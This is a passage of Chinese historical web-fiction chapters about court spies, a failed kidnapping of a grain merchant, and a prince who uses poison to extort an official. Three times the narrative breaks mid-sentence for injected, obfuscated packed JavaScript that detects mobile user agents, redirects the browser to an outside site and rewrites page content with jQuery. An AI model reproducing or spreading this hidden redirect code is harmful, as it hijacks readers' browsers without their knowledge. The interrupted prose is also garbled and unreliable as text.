芮伊剜了他一眼:“还用问吗?” “逍遥居?” 芮伊怔怔地看向远处:“月圆之前,务必将赛比海抓回来。”话落,她慢慢转过头,那张风情万种的脸上,此刻竟笼着一层冷冽的凄凉,“否则,你我四人,生死难料。” 23.影刃阁 过了几日,杨柯收到了红娘传来的书信,说是江植那边有了新消息。烧完信后,杨柯立即起身奔往紫英阁。刚迈进紫英阁,杨柯便被元英带进了二楼聚义厅:“红娘,上次那事查得如何?” 红娘正斜靠在贵妃椅上,见她进来,也并不动身,只是眉毛一挑:“我红娘办事,你还不放心。” 杨柯见她这副模样,反而更觉放心,也跟着坐了下来,翘首以待。 红娘招手将其余人屏退,随即开口道:“上次你向我提了这事后,好巧不巧,郝掌柜宴请了各地的生意朋友来我这置宴,我趁机和他们喝了几轮,在酒席上套得了些话。” 杨柯疑惑道:“郝掌柜不是人在滁州?为何忽然来了京城?” “这不就巧了?郝掌柜从前也卖过不少粮食给朝廷,可惜他这几年收成不好,也没生意做了,便来京城碰碰运气。” “莫非江老板就是挤走郝掌柜的新粮商?” 红娘嫣然一笑:“正是。”随即语锋一转,“不过郝掌柜说,幸好他脱身得快,前些月换了个漕运使,不知搭错了哪根筋,突然搞了个‘四道轮检’。” “‘四道轮检’是什么?从前难道不是交上货物清单,书吏核对核对,漕兵再上船检查一番就行了?” “是呀,如今呢,每条船还要再让医官和匠作来查,而且这四道程序不得并行,每做完一项就得重新排队。” 杨柯感叹道:“难怪运输周期拖了那么久。” 红娘又道:“沧州有个船户叫王老五,他一船米被查了七日,最后查出稻谷发芽率达三成,整船粮食都被退回,折损了几百两呢!要让我碰见这种事,真得气得心肝儿疼。” 杨柯又道:“这个漕运使好心办坏事,耽误了运粮时间怎么办?” 红娘哼了一声:“你可别被表象给诓骗了。他哪里是为了军粮着想,分明就是来折磨粮商的!”说着猛扇扇子,声音反而低了下去,“过闸的关口还开了个‘顺风茶铺’,你说搞笑不搞笑?” 杨柯蹙眉道:“难道漕运使故意克扣粮船,就是想逼船户们往茶铺行贿,好让船只顺利通行?” 红娘下巴一摆:“我可没说。”忽然又拿扇柄点了点杨柯,“你呀,话别说太实在。有句话叫‘逢人只说三分话,未可全抛一片心。’这叫滴水不漏,像你这样只会叫人拿了话柄。” 杨柯挠挠头:“我这是跟姐姐说话呢,何必藏着掖着。” 红娘斜乜了她一眼:“最好如此!” “既然粮关难过,江老板为何要来蹚浑水?” “他财大气粗,压根儿不怕这些。三天两头在我们这和玉仙楼宴请不少权贵富商,真真让我们这些讨生活的人眼红。”又啧啧嘴,“背靠朝廷就是不一样。” “朝廷?” “是呀。”红娘将手笼在嘴边,“江老板背后是羲王,不少人看见他频繁进出羲王府。” 杨柯心里一跳,宇文泰掌管兵部,如今督粮官也在他手中,若他和粮商联合起来,岂不是无法无天了?“他为何要去羲王府?” 红娘又瘪瘪嘴:“这倒不清楚。做生意的常往当官的家里跑,不是常有的事?” 杨柯又问道:“江老板的船走得快吗?” “快呀,他的船永远是第一批过闸的。有羲王在背后护着,能不快吗?” 红娘见杨柯脸色沉重,不免劝道:“杨公子,你也莫生气,这种官商勾结的事情,在我们生意场上,实在是稀松平常。”听了她这话,杨柯心里更冒火了。 红娘见势态不对,绕开话题道:“今晚芮伊会出去一趟,杨公子你要不要跟着去瞧瞧?” 杨柯果然脸上一亮:“好。” 她照旧在常去的枕流轩内听曲品酒,等到了红娘吩咐的时辰,便动身去探芮伊的动静。果然,芮伊从紫英阁的后门走了出去,杨柯也鸟悄地跟了上去,闷头猫腰地摸了一阵,才发现她的方向竟然是逍遥居! 杨柯屏息停在距离百余步的位置外,不知从哪里又冒出来二人,一个身长如柱,一个秃顶矮胖,两人皆是深目高鼻,跟着芮伊一齐闪进了逍遥居。 过了一炷香的功夫,三人的身影又重新出现。只不过其中一人的背上多了个粗麻袋子。 长柱子道:“还有这等好事,林骞这小刺头不在倒是还好,石介这个老滑头竟然也跑了。” 秃顶道:“他奶奶的,你看见架子上的琉璃盏和断水剑没?小破地儿竟然还有咱柔然的雷击木!” 芮伊喝道:“别废话,快走!迷魂香管不了太久。” 跟着他们来到一处寻常的民宅外,三人从大门走了进去,杨柯从房檐上攀缘着溜了进去。 “公子来了!” “在哪儿?” “正在门厅里等着我们呢,快走吧。” 公子?看来是他们的首领了。杨柯顺着他们的脚步望去,门被打开,从里面缓缓走出一个白衣男子——竟然是伯喻! 为何伯喻会跟柔然的影刃阁混在一起?怪不得上一次他会在芮伊的房间里出现。难道他……杨柯不敢往下想去。 伯喻立于庭院廊下:“刘生那边查得如何?” 芮伊道:“他似乎察觉到了异样,近日行踪并无任何异常。” “继续跟踪。” “是。” 杨柯心中疑惑,为何他们要盯上刘生?难道刘生之前来紫英阁有别的目的?可是刘将军已经随章满将军退居前线,若柔然想要窃取情报,不应该离间前线将领吗? 正思忖着,却听芮伊道:“公子,我们已经将赛比海抓获,他被打晕,就在袋子里。”原来那麻袋里的人竟然是赛比海! “干得不错。赛罕已经知道了赛比海失踪的消息,这几日应该会派人行动了。你们切记小心。” “多谢公子嘱咐。” “最近是否有柳无暇的消息?” “已经将线索交给了赵老板,等他三日后回信。” 杨柯一边听着,视线里却注意到右前方的房檐上也蹲伏着一个黑衣人,手中的弩箭正对向伯喻的方向。 杨柯冷汗顿起,旋即灵机一动,拾起屋顶的瓦片,使劲往地上掷去,哐当一响,成功地引起了他们的警觉:“谁!”电光火石间,一支飞箭“唰”地往伯喻飞去,他已然警觉,侧身一避,羽箭射在了地上。 黑衣人见羽箭射了空,转眼便朝着杨柯攻来。她吓得大声惊呼,黑暗里刺眼的刀光就要从头顶落下来,她迅速扭身逃脱,“唰!”左臂还是被划开了一道口子,外衣应声撕碎。 芮伊看清来人后大喝:“是赛罕的人!” 黑衣人见方才那击落了空,攻势更盛,抬手一挥,一柄飞刀直向杨柯射去,还没等她反应过来,那刀转眼已逼至眼前三寸。 忽然杨柯眼前划过一道亮光,尖刀被横射过来的飞镖猛地拨开,视线调去,伯喻已奔至她身侧,大手将她腰间一揽,她已被往后带了一大截。 黑衣人见两次攻击皆失败,陡然抽出腰间另一把长刀,朝着他们的方向直直砍去,划过空气的呼啸之声似也带着攻势,穿破了耳膜。 “啊!”忽听一声痛号炸开,“哐当!”长刀落地,杨柯本躲在伯喻怀里,微眯开眼看去,黑衣人的脖子里紧紧当当地插着三把飞刃,嘴里不停地呕出鲜血,双眼瞪得巨大,接着扑通一声倒地。 她头一回见到如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311779|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨烈的死状,一时愣在原地,尚未察觉到芮伊已经上前:“公子,可有受伤?” 伯喻摆了摆手:“附近清除干净没有?” 秃顶站在几步远的地方叱道:“这王八孙子也不多叫点儿人来。附近就只这一个。”话音落下,众人皆松了口气,接着目光又落到了杨柯身上。 除了伯喻,其余三人的表情皆如凶神恶煞一般。 她结结巴巴道:“各……各位,我……我就是路过。” 芮伊笑中带刀:“杨姑娘,芮伊记得,您方才在紫英阁内正酣睡着呢。” 她干笑着接道:“这不是睡醒了出来走走逛逛嘛。” 长柱子冷哼一声:“小姑娘没事儿上人家里来干甚?” 伯喻开口道:“你们先下去吧,让我来处理。” 三人面面相觑,表情若有所思,但还是收起凶意,沉默着离开。 “阿柯,跟我来。”说完,伯喻领着杨柯进了房间。 她内心忐忑,一面矛盾着伯喻游移于大夏和柔然两国的行径,另一面又担心他是否会因恶行被发现将自己毁尸灭迹。 杨柯正埋首思索着,却感到一只大手抚上了头。 伯喻眉眼含笑地看着她:“阿柯是不是觉得,我在通敌叛国?” 她抬眸瞅他,咕哝道:“常人见了,应该都会这样想吧。” “我本就是一半的柔然人。”他的眼神坚定,直直望进杨柯的眼底,杨柯不由得退后半步,“那你要背叛大夏吗?” 伯喻将视线移向一边,神情中带了些黯然:“若你认为和柔然人合作就是通敌,那么我也算是。” 杨柯疑惑道:“合作?你们合作做甚?” 他缓缓道:“合作的目的并非损己利人。我身上一半的血缘来自柔然,但仍有一半属于大夏。背叛大夏的事,我断然不会做。” “可芮伊她们为何要埋伏在京城?” “大夏与柔然如今敌对,但实际上,两国的关系并非应该如此。我想,你应该听闻过我的母亲瑾妃。若她还在世,或许大夏和柔然依旧能维持和平。”他转眼望向窗外,神色茫茫,“你方才所见之人,皆来自影刃阁这个组织。十年前,我母亲过世后,他们便找到了我。你放心,影刃阁的目的,只是为了平息两国的战火,而非经由我祸害大夏朝政,这样的事,我也不会容许。” 杨柯的脑子飞速运转,伯喻这番话到底有多少真假,她没法判断。但她只知道,无论是师父还是公孙,他们都十分肯定伯喻这么多年来对大夏的奉献。 最终,情意和理智都战胜了怀疑,她忽而感到无比地轻松,目光真切地望向伯喻:“我相信你。” 伯喻眼神迷离,嘴角含笑道:“阿柯为何会在这里?不是答应了我不再去紫英阁吗?” 杨柯被他陡然这么一问,半是甜蜜半是尴尬:“我通过一个朋友得知了芮伊的身份特殊,便跟着她来了。” “你的朋友来自逍遥居?” 杨柯本想扯个理由搪塞过去,可伯喻已经对她坦白,她若承认也不会暴露林骞的身份,于是点头。 伯喻无奈一笑:“果然,他们早就盯上影刃阁了。” 杨柯疑惑道:“逍遥居竟如此盛名在外?” 他沉吟不语,终了才开口道:“他们虽是江湖组织,但和大夏朝廷脱不开关系。影刃阁来自柔然,自然会引起他们的注意。” 杨柯担心着上前询问:“那你呢?你会被发现吗?” 伯喻笑着安慰她道:“阿柯放心,我会易容术,常人很难发现我的身份。” 杨柯松了一口气,随即又不好意思起来,期期艾艾道:“那就好,那就好。” 24.绑架 杨柯从影刃阁那里离开后,一面揣度着适才伯喻的话,一面思索着江老板与宇文泰的事。正走着,忽见街上有个摆摊儿的,挂着面黄旗,坐着一人,穿着污灰长褂子,一对黄薄眉,一双枣核眼,脸上笑呵呵的,好像见了谁都不得罪。 杨柯心中大喜,忙上前道:“西北悬天一枝花,天下绿林是一家。” 这人面朝着右侧,也不看杨柯,倒是对她的话有了反应:“姑娘是行内人?” 杨柯并不回答,而是问道:“阁下可是老荣家的?”她所说的老荣家,就是江湖上暗八门“蜂麻燕雀、花兰葛荣”里的荣门,虽说荣门干的都是鸡鸣狗盗之事,可他们并非拦路打闷棍的小毛贼,而是独来独往的大偷。 杨柯一脸期待地望着他,可这人只是道:“姑娘若有事,直接说事就是了。” 她反应过来,跑江湖的哪里会把自己的身份放在嘴边,于是也不多问了。继续道:“大哥,我有一笔买卖找你做。” 那人朝着行人道:“请说。” 杨柯抬手在他眼前晃了晃:“大哥,你在和我说话吗?” 他仍不动,只是不耐烦道:“有什么事就说。” 杨柯移了移步子,站在他面前道:“大哥?” 这人又调转过去,还是将右首朝向杨柯:“我说,你有什么事就讲。” 这人的脑袋偏偏不肯转过来,顺着他的视线望去,也不知道在跟谁说话,杨柯不耐道:“大哥,跟你说话呢,你在看哪儿啊?” 对方更加恼火了:“我他妈看着你呢!” 杨柯凝神细看,敢情这人是个斜楞眼儿。于是不好意思地笑道:“对不住啊兄台,对不住。”心里倒是奇怪着,干偷盗的怎么还生了个斜眼呢? 斜眼哼了一声:“比我的眼神还差。”随即又打量着她道,“姑娘想办什么事呐?” “事情倒也简单。帮我办个人。” “怎么说?” “我把人迷晕,你们到时候进来帮我驮到别处去就是。” “这个好说。” “那人会去紫英阁,你在外面等着我的招呼,到了时间过来干活就是。” “只要姑娘给的足够,我们办事包你满意。” 杨柯笑嘻嘻地点头,从怀里拿出一个钱袋,递给他:“这些,够吗?” 斜眼掂了掂,啧啧嘴:“姑娘,就给这么点儿?” “五钱银子还不够多?” 斜眼苦着脸道:“快过年了,一家老小都等着嚼口儿呢。” 杨柯无奈,又从怀里掏出一把银子,放在手心里,数了数,足足三两。 那斜楞眼儿看的眼睛都直了,嘿嘿痴笑道:“够了够了。”说着就要伸手接过钱袋,杨柯一把收回,嬉笑道:“急什么,事儿还没办呢。” 斜眼急道:“哎呀,哪有办事不给钱的?” 杨柯伸出另一只手递给了他两钱银子:“话还没说完,这是定金,等到事成再给你剩下的,如何?” 斜楞眼儿虽仍不满意,但这笔肥差可是千年难遇,他可不想到嘴的鸭子就这么飞了,只好悻悻然答应了下来。 几日过去,杨柯收到了红娘的消息,赶来了紫英阁。 红娘见了她,压低了声儿道:“江老板现在在四楼的雅间,今天刚好就他一个人。”说完又把立刻启步的杨柯拉住,“切记不可闹出人命来!我这儿可担不起。” 杨柯笑道:“红娘多虑了。”说完,便往江老板所在的方向奔去。 红娘看着她的背影,摇头慨叹:“还真是个小祖宗,”双手合十,“菩萨啊菩萨,希望今晚风平浪静。”话刚说完,余光瞥见众人中间一个身着玄金色长衫、面带半截面具的男子款款步入门内。见这俊俏公子进来,红娘脸上霎时光彩四溢,嘴角快要翘到天上去了:“哟,公子,第一次来紫英阁?” 公子点点头,不疾不徐地开口:“你们这的花魁是谁?” 红娘垂眼打量了下这男子,娇声道:“公子年纪不大,胃口倒不小。芮伊现在可不便宜,找她的人排到宫门去了。” 公子平静地回:“最高价是多少?我出双倍。” 红娘脸上一惊,瞬间又恢复了笑意,随口诹了个价格道:“两万贯呢,恐怕那铜钱垒起来比公子还要高,不知道公子出不出的起啊?”说完,便伸手作要钱状。 男子打量着酒楼四周,朗然道:“这么着急?” 红娘往他身上歪去:“还不是怕公子不辞而别。” 男子转头朝她微微一笑,红娘瞬间明白了意思,大声呼道:“元英,还不快带公子去见芮伊!” 元英走了过来,拉着红娘,为难道:“妈妈,芮伊现在陪着江大人呢。” 红娘的笑容瞬间隐去:“你怎么不早说!江大人不是在四楼吗?怎会突然去找芮伊了?” 元英苦道:“我哪知道,这人行踪怪得很,方才还在四楼的。” 红娘低声喝道:“我都答应客人了,这可怎么办?” 元英试探道:“那先带他去四楼的厢房?” 红娘眼珠子滴溜溜地转了一圈,转首对着男子道:“公子,您想必也知道,就连成亲也讲究三茶六礼,这好东西自然要循序渐进才能品得出珍贵来。您头一回来我们紫英阁,若是径直带您见了最出众的,往后再瞧其他姑娘,可不就没了滋味。今晚呐,不妨先让元英陪着您,待下次公子再来,我便安排芮伊作陪。元英她虽不是我们这的头牌,但论起谈诗坐道,那可是不输芮伊的。您看,这样安排可好?” 公子浅笑道:“有劳红娘这般周全考虑。既然芮伊今日不便,在下也不好强求。适才听元英姑娘提及要引我前往四楼,鄙人早闻紫英阁藏有佳酿,今晚独坐小酌,倒不失为一桩雅事。” 红娘见他并不刁钻为难,放下了心来:“多谢公子体谅。”冲元英招手,“快带公子上四楼雅间。” 这公子跟随着元英缓缓上楼,来到了四楼,进了厢房。 “公子,您要点什么酒?” “一壶桃花酿即可。”元英心里暗自称奇,桃花酿只有紫英阁的常客才能喝到,可这公子头一回来,竟直接点名要喝桃花酿,再一打量,此人举手投足间又透着一股贵气,看来并非寻常之辈。 “那公子要温的还是凉的?” “随你。酒放在门口即可,我想先在此处小憩一会。” 元英乖乖福身退下:“是。” 此时,杨柯早已到了江植所在的厢房外,趴在窗户上偷听了一会,里面安静异常,竟无人声。 “好生奇怪,怎么一句话都不讲?”杨柯一面犯疑,一面伸指甲挑破窗纸,凑眼向里张望,厅里灯火辉煌,却只照亮了北侧,南侧靠窗那处却乌黑一片。 “难道躲起来了?”她掏出怀里准备好的迷香,探了进去。等到迷香开始起了作用,才起身奔向走廊尽头的小窗,朝着窗外吹了声口哨,楼底下跃出一个人影,斜楞眼儿沿着墙跟儿攀了上来。 杨柯立即转身往厢房悄悄走近,一推门才发现,房里空无一人。 “人呢?” 忽然肩上被人一拍,她立刻警觉,抓住来人的手顺势一掰,怎料对方反应更快,还没等杨柯发力,便率先抽出,反擒住她的手。 杨柯定睛一看,竟是宇文泰!他身着常服,脸上还覆着面具,看来是有备而来。原来他和江植早就串通好了,杨柯心里的猜想终于坐实,于是恨声道:“好啊,连你也来了,江植是不是被你藏起来了?” 宇文泰笑道:“杨姑娘在说什么,在下怎么听不懂?” “装什么糊涂!你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323545|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙同江植控制军粮,想要蚕食国库,别以为我不知道!”趁着宇文泰思考之际,她手腕一扭,以巧劲挣脱了他的束缚。 宇文泰微微一愣,还未及反应,杨柯已借势反扑,右手如灵蛇般探出,往他胸口击去。 他身形微侧,却不还手,反而调笑道:“前几日还在瑞麟殿救了你,你怎么反倒恩将仇报了?” 杨柯闻言心中更恼:“一码归一码,你救了我是没错,但你为官害民也是真!”说着探出左手往他肩头抓去。杨柯虽学了轻功,但手上功夫却是三脚猫,几招下来便露了怯。宇文泰早已看出,任由她指尖触及自己衣衫,可在最后一刻忽然抬手,轻轻一拨,便将她的力道引向一旁。 杨柯身子一倾,险些失去平衡,宇文泰顺势一揽,将她拉入怀中。 杨柯惊呼一声,还未及挣扎,宇文泰已反手扣住她手腕,将她双手牢牢锁在身后。 “放开我!” 宇文泰俯首凝视着她,调笑道:“适才不是打得很欢么,怎么现在又要我放手?” 杨柯倒是不怒了,露出一抹甜笑:“你不放手倒也可以。” 宇文泰含笑微眯:“愿意认输了?”话音还未落,杨柯抬脚往他下身攻去,可还是被他的大手给擒住。 “你还真是一条路走到黑。”宇文泰眸中起了怒意,抓住她右腿的手狠狠往外一抛。 杨柯哪里受得住这力气,立时便应声往后倒去,摔了个四仰八叉,疼得是呲牙咧嘴。 “好你个宇文泰!来硬的是吧?”她一边支起身子,一边咬牙切齿,好不容易坐了起来还想再战。 宇文泰负手而立,冷冷地俯视着她:“省省吧杨柯,你根本不是我的对手。” 杨柯也冷笑道:“哼,你以为只有我一个人?” 宇文泰略一扬眉,视线跟着杨柯的投向了刚刚跳窗进来的斜眼。 杨柯一个起身蹦了起来,双手叉着腰,冲着宇文泰得意洋洋道:“他可是江湖上的厉害角色,早就把你的江植抓走了。” 可那斜楞眼儿见了杨柯身旁的宇文泰,立即面如土色,哆嗦着腿道:“姑娘,这事我可办不了……” 杨柯急道:“你怎么回事?不是说好了吗?” 斜眼苦着脸:“你也没告诉我对方是谁啊!” “什么意思?收了钱还想反悔?” 斜眼儿结结巴巴道:“那……那把钱退你吧。”说着从脚底抠出了几个碎银,一脸谄笑,“还留了这么些,其余的也算是辛苦钱?” 杨柯又是怒又是急,但拿他也没办法,只好朝他匆忙摆手:“你你你……快走吧!” 斜楞眼儿并不看她,反倒是对着宇文泰拱手作揖,堆着笑倒退了出去。 杨柯心中奇怪,这人见了宇文泰便立刻倒戈,难道朝廷的身份这么管用? 正思索着,忽听耳边戏谑声响起:“杨柯,我说你聪明倒也聪明,怎么办事如此不靠谱,绑架这种事,竟找些下九流来做。” 杨柯听了顿觉好笑:“难不成要找官府来办?”又故作恍然大悟,“哦!我倒是忘了,官府也得听殿下的。” 宇文泰竟也应承下来:“那倒不必。我虽负责刑部,但这等小事根本到不了本王跟前。” 杨柯见他这幅模样,更加咬牙切齿:“你身为六部之长,竟联合商人贪污受贿,还好意思声称自己执掌刑部?” 宇文泰挑眉轻笑:“我就是贪污受贿,你能将我如何?” 杨柯见他耍起了无赖,心中气急,朝他猛啐一口:“你这个蛲虫!” 宇文泰不怒也不急,反而悠然自得地朝她靠近:“蛲不蛲虫的我不清楚,但杨姑娘你……” 忽然杨柯后颈脖子一麻,眼前一黑,整个人栽倒在地上。 “把她绑起来!” 25.威胁 窗外暮色突然被火把撕碎,四名皇子亲卫身穿便服,破门而入,将地上的杨柯一把薅起来,“哎哎哎,你们要做什么?” 宇文泰立于一旁冷眼旁观,凉凉道:“做他们该做的事。” 杨柯狠狠瞪了他一眼,可是双手却已被侍卫铁钳一般的力气紧紧箍住,“放开我!你是掌管刑部的王爷,你不能滥用私刑!” 宇文泰挑了挑眉:“私刑?你哪只眼睛看到我对你用刑了?” 杨柯大声道:“你动用亲兵、擅自绑架!” 宇文泰嗤笑出声:“这事杨姑娘不是刚刚做过?”话音还未落,杨柯便被五花大绑,像个麻袋一样被粗暴地扔在了里头的榻上,屁股和床榻狠狠来了个嘴对嘴,她顿时疼得哇哇大叫:“宇文泰!你罪该万死!” “把她嘴巴封上!”一声喝令下,杨柯的嘴便被塞入了一团麻布,“呜呜呜——” 宇文泰行至她跟前,投下的高大阴影笼罩着她,“劝你省点儿力气,再乱叫可别怪我不客气。” 见他眸中怒气已盛,杨柯害怕他一个冲动把自己给了结了,于是安静下来,乖乖靠在榻上。宇文泰轻乜了她一眼,转身走回中厅。望着他的背影,杨柯更觉无奈,现下硬碰硬是没办法了,只能慢慢磨。可杨柯发现,到了关键节点上,她既琢磨不明白,更做不明白。她只恨自己平日里光顾着顽耍,书到用时方恨少,都被他五花大绑了,也只能两眼一抹黑,眼瞅着罪犯干瞪眼。 “江植呢?”宇文泰的声音在中厅响起,听到这三个字,杨柯立马竖起了耳朵。 “殿下莫急,掌柜的马上就来。”话毕,屋里走进一个中年男子,身着青色粗布长褂,脚蹬黑色布鞋,他身后还跟着个侍从,见了宇文泰,含笑拱手道:“草民参见王爷。” 原来此人就是江植,杨柯一时气血上涌,开始扭动身体、呜呜乱叫起来,扰得周围侍卫不堪其烦,唯有宇文泰闲坐椅上,小口浅酌桃花酿。 江植的视线移向榻上的杨柯:“那位姑娘?” 宇文泰舒然自若:“不用管她。” 江植将视线收回,欠身道:“本月的一万石粮食昨夜已经抵达了朔州,还请殿下安心。” 宇文泰放下酒杯:“嗯。周焕那边有何进展?” 江植道:“前几日的调查已经有结果了。” “哦?” “他安排家奴在闸口开的顺风茶铺,正是贩卖加急凭证之处。”江植忽然掀开带来的樟木箱,露出里头的二十锭银两:“今日午时,周焕刚用这批银子换了滁州春红楼头牌。” 宇文泰脸色渐沉:“印记都留下了?” “都留下了。”说完,江植拿出其中一个元宝,底下露出了淡淡的红色,“草民特地选了雍州的茜草汁,无色无味。殿下放心,除非故意让其显色,光凭气味,让狗来闻都闻不出个名堂来。” 宇文泰满意点头:“干得不错。” 江植脸上露出短暂喜色,旋即又拧起了眉头,“这回粮船行至青峡关,硬生生滞留了三日之久。这狗日的周焕专挑申时拦船。申时江上船只往来最为频繁,正是运输繁忙之时,这一拦,得误了多少事!”说着伸手取来账册,将其推过红木案几,指尖在“每船加急疏通费三千贯”处重重一叩,愤懑骂道,“他的胃口也是越来越大了!前个月还只敢要一千贯,如今竟涨到这般地步。照我看,他那间顺风茶铺也别卖茶了,改做钱庄得了!” 一旁的宇文泰反而慢悠悠地翻着账册:“周焕为了买漕运使这个肥差,给了田咏一千两银子,他自然贪多不厌。”话落,他终于抬眸看向江植,扬唇一笑,“不过,江老板这账倒是记得精细。” 江植嘿嘿一笑:“殿下打趣草民了。做我们这行,账目要是记不清楚,那可就等着倾家荡产吧。” 他带来的侍从正在一旁分茶,无名指抵住壶嘴三寸处的云雷纹,执壶的手腕更是稳得惊人,碧绿茶汤在五只兔毫盏间划出分毫不差的弧线。 宇文泰眼中闪过一道冷光,但面上仍是和煦:“江老板福分不浅,招来的侍从竟有这般精湛茶艺。” 江植一听,便知他话中有话:“殿下若是喜欢,我把他送到羲王府上去。” 宇文泰并不接话,而是问道:“您可听过‘七分茶满’的规矩?”他对江植递去一个意味深长的眼神,“要说深谙此道的,还是田咏田大人。” 江植眼珠子一转,立刻会意,顺势接道:“殿下何出此言?” “他独创的‘节流分茶法’,专为控制每盏茶汤七分满。三年前父皇寿宴,我见他用此法给父皇分茶,一滴水都未漏出。” 江植奉承道:“那圣上定是龙颜大悦,宫大人也跟着沾光。” 宇文泰嗤笑一声:“田咏跟着宫询讨得了不少好处,两年连升三品,如今做到吏部左侍郎,不知道的还以为他是宫家的私生子。” “当是奉茶奉得宫大人高兴了!”江植视线一转,堆起笑来,“殿下身份尊贵,平日里见多识广,若阿四能有田大人一半的伶俐心思,在侍奉王爷时,能把王爷也哄得开怀,那可真是大功一件。” 阿四顺势接道:“阿四能侍奉殿下,当是这辈子的荣幸。” “嘴挺伶俐。”宇文泰浅啜了一口茶,“不过,瞧你的眉眼,倒是让我想起田侍郎府上的狸奴。” 阿四赶紧跪下,皂靴在青砖上碾出半道湿痕:“阿四……阿四从前只是个唱戏的,不认得什么田大人。” 江植解释道:“殿下,阿四是我从码头救来的小叫花子,他自小命苦,没了爹娘,从前在倡馆唱戏。” “是么?”宇文泰倾身上前,手上的玉扳指扣住他后颈,“既然你不认得田大人,可你无名指抵住壶嘴的位置却跟他分毫不差,此等手法难道是田咏在倡馆里头教你的?” “殿下明鉴!”阿四的额头重重磕在碎瓷上,“小人当真不认得田大人……” 宇文泰皱了皱眉,不耐烦道:“把他衣服掀开。”身旁侍卫一把扯下阿四的衣领,露出了里头的青雀纹——大夏官宦人家专给异族奴隶烙下的印记。 江植上前大吼道:“混账东西!我把你从死人堆里救出来,缘是带了条毒蛇回家啊!” 阿四跪爬到江植腿边,哭嚷着抱住他的大腿:“掌柜的,小人也是受人逼迫,不得已呀!” 江植一脚踢开他:“我当不起你的掌柜的!” 阿四又爬着跟了上去:“您是我的掌柜的,若没有您,阿四早就被那群地痞打死了。” 江植这下不再踢他了,而是冷声问道:“你早就知道我会到码头上去?” 阿四呆了呆,接着答道:“田大人命奴才蹲守在码头,奴才等了三日也不见您来。后来碰上了地痞陈大麻,他从前就认得我,知道我进了田府,如今见我被赶出门,便带了一众弟兄要来找我麻烦,多亏了您出手相救,才将奴才从鬼门关拉了回来。” 见江植神色凝重,又哭嚷道:“求掌柜的开恩!” 宇文泰上前拍了拍江植,示意其退后。他蹲下身子,从怀里拿出一方雪帕替阿四按住伤口,又掏出青瓷药瓶:“这雪参膏最能止血。” 阿四感激地渗出眼泪,可那药粉撒在伤口时却泛出诡异的靛蓝色,他顿觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337198|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒彻骨髓,只听面前的宇文泰继续道:“可惜它毒性太强,每六个时辰需饮一次解药。” 阿四吓得浑身哆嗦:“殿下饶命啊,殿下饶命啊!” “放心,我会给你活命的机会。”宇文泰缓缓起身,手指摩挲着玉扳指,“告诉田咏,他养在越州的私生子左耳后有颗朱砂痣。” 阿四眼皮一跳,刚要张嘴,却见宇文泰抬起手,“若田大人愿意合作,兵部可保大人在《漕案罪臣录》里只是失察。”他低沉一笑,“红黑两条路,摆在他面前,如何抉择,他自个儿掂量。” 阿四赶忙点头:“小的明白!” “我给你们七日的时间,”宇文泰神色冷峻地俯视着阿四,“若七日后本王从塞外归来,还未见到吏部密档房的钥匙,你就跟田咏一起抱着他孩儿的断手,去跟阎王哭丧!”说完转身坐回到黄花椅子上,端起原先的酒杯,好以整遐道:“江老板,你是做生意的,眼睛还得擦亮些。” 江植躬身拱手:“多谢殿下提点。”说完,朝着跪着的阿四踢了一脚,“愣着干嘛?还不快谢过殿下!” 阿四忙不迭跪拜:“谢殿下开恩!谢殿下开恩!” 杨柯在偏厅的榻上目睹了一整个过程,从江植开口起,好不容易把他和宇文泰之间的“勾当”弄了个大约摸只的明白,后面又冒出来这阿四,等她意识到此人和田咏的关系,宇文泰的行径又让她云里雾里,这一趟下来,饶是将她的脑门烧出了烟。 “呜呜呜!”一只大手瞬间将她从榻上拎了起来,带到了中厅。此时,江植和阿四已经离开,只剩下宇文泰还留在这里。 “干什么?你从哪儿来,不应该回哪儿去么?”宇文泰负手而立,方才他威胁阿四的冷峻神色已经褪去,“带她上马车。” “是。”应声落下,一块黑布当即蒙住杨柯双眼,未及反应,她忽觉腰间一紧,浑身一轻,身子陡然离地,整个人被狠狠扛起。杨柯只觉天旋地转,身体随着侍卫的脚步一颠一簸,五脏六腑都似要被颠出位。紧接着,“砰”的一声闷响,她被扔到一处柔软所在,脑袋上的黑布也被“唰”地扯去。等她回过神来,自己已经在宇文泰的轿辇之中。 她望着掀袍走进的宇文泰道:“你要带我回宫?你不杀我?” 对方听了好笑:“怎么,你想让我杀你?” 杨柯赶忙摇头:“不想不想!”又念及方才厅内发生之事,不好意思地笑了笑,“抱歉,我一时糊涂,错怪了你们。” 宇文泰徐徐坐下,挑了挑眉:“知道就好。” “既然督粮官在兵部手里,为何殿下还要费那么大劲,专门找江老板入局?”她笑容渐显狡黠,“难道是为了寻条长远财路?” 